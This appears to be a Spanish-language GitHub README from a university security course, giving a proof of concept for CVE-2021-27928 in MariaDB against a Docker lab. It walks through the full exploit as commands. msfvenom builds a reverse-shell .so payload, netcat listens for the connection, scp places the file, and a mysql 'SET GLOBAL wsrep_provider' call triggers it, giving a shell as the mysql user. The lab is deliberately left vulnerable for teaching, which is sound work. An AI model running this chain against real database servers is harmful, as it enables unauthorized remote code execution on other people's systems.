laliea/cve-2021-27928Una prueba de concepto para la explotación de la vulnerabilidad CVE-2021-27928
En este repositorio, encontrarás una prueba de concepto de la explotación de la vulnerabilidad CVE-2021-27928 a través de un contenedor docker.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
Las variables del sistema wsrep_provider y wsrep_notify_cmd system pueden ser modificadas en tiempo de ejecución por un usuario de base de datos con privilegios de superusuario, lo que puede llevar a la evaluación de código remoto que se ejecutará con estos privilegios.
La primera variable toma una ruta a la biblioteca .so que el servidor intentará dlopen(), y la segunda toma una ruta al script de shell que el servidor ejecutará. Que sean escribibles permite a un usuario de base de datos con privilegios de superusuario ejecutar código arbitrario como el usuario del sistema mysql.
En esta Prueba de Concepto, usaremos msfvenom para generar la biblioteca .so que contendrá nuestro payload (en nuestro caso, una reverse shell). Luego copiaremos este archivo en la máquina vulnerable y especificaremos esta ruta en la variable wsrep_provider, lo que ejecutará nuestro payload, dándonos acceso a la máquina objetivo como un usuario con privilegios de superusuario (aquí el usuario mysql) gracias a nuestra reverse shell.
Para este experimento, necesitará tener instalados en su máquina los paquetes docker, msfvenom, openssh-client y mariadb.
En esta configuración, la máquina objetivo se basa en una imagen de MariaDB 10.4.12 (que es vulnerable a esta falla), en la que se ejecuta un servidor openssh sin permitir inicio de sesión como root. Por lo tanto, hemos creado un usuario no root para usted, myuser, que tiene como contraseña mypassword.
Construcción de la imagen vulnerable:
docker build --rm=true -t mariadb-cve-2021-27928 .
Inicio de la máquina objetivo:
docker compose up
El payload es el binario que queremos que la máquina objetivo ejecute una vez finalizado el exploit. Aquí, usamos msfvenom para crear el payload de reverse shell en forma de biblioteca .so, con nuestra dirección IP (LHOST) y puerto (LPORT) como parámetros. En otra terminal, ejecute:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
La dirección IP
LHOSTes la definida endocker-compose.yamlpara la puerta de enlace de la red, en nuestro caso el atacante, usted.
En segundo plano, en una tercera terminal, escucharemos cualquier conexión entrante de la máquina objetivo en el puerto al que se supone que debe conectarse.
nc -lnvp 4444
El puerto que estamos escuchando,
4444, es el que establecimos comoLPORTen la creación del payload.
Ahora, necesitamos copiar el payload que creamos anteriormente (payload-CVE-2021-27928.so) a la máquina objetivo a través de ssh usando el comando scp, como el usuario del sistema no root myuser, cuya contraseña es mypassword:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
Como no podemos copiar directamente un archivo a través de ssh a /usr/lib, debemos conectarnos a la máquina y moverlo manualmente al lugar correcto (recuerde que la contraseña de myuser es mypassword):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
Podríamos haber subido el payload a otro directorio con otro nombre como
/tmp/exploit.soy pasar esta ruta como la ruta del payload, pero dado que la falla ha sido corregida en todos los paquetes de mariadb, su explotación requirió algunos ajustes que verá al final de esta demostración.
El último paso es explotar la vulnerabilidad de MariaDB enviando una solicitud como el amigable usuario del sistema no root pero competente administrador de base de datos que somos, con la solicitud de establecer la variable global wsrep_provider en la ruta de nuestro payload.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
Aquí,
rootsignifica "administrador" a nivel de base de datos, no el usuario "root del sistema". Por lo tanto, la contraseña aquí es la del archivodocker-compose.yaml,MYSQL_ROOT_PASSWORD: myrootpwd.
Finalmente, si todo funcionó como se esperaba, podemos ver de nuevo en la terminal en la que estábamos escuchando conexiones entrantes que la máquina objetivo se ha conectado exitosamente de vuelta a nosotros, y que podemos ejecutar comandos de shell. Disfrute :)
La reverse shell no es tan elegante como una shell "clásica": no tiene autocompletado, prompt de shell ni historial, por lo que depende de usted monitorear la correcta ejecución de sus comandos. Así, como ejemplo, no dude en usar
ls -la.
Puede ejecutar
whoamien la shell de netcat para verificar que es el usuario del sistemamysql!
Según el Jira de MariaDB, parece que hay poco (o ningún) caso de uso práctico para que estas variables se modifiquen en tiempo de ejecución, solo se usan en pruebas. Después de que se encontró esta falla, la solución fue hacerlas de solo lectura, lo cual fue fácil y una solución segura, a costa de scripts de prueba ligeramente más complejos.
Antes no era el caso, pero ahora, el único valor de ruta que wsrep_provider puede tomar es /usr/lib/galera/libgalera_smm.so, por eso esta Prueba de Concepto requirió algunos ajustes como otorgar derechos de escritura a la carpeta /usr/lib/galera para poder subir nuestro payload. Por lo tanto, esta configuración es voluntariamente falible en el contexto de esta demostración, pero ya no es utilizable de esta manera en la mayoría de los sistemas actuales.
Este trabajo se realizó como parte del curso de Seguridad de Sistemas de Información impartido en el último año de la especialización en Ingeniería de Sistemas de Información en Grenoble INP - Ensimag, UGA.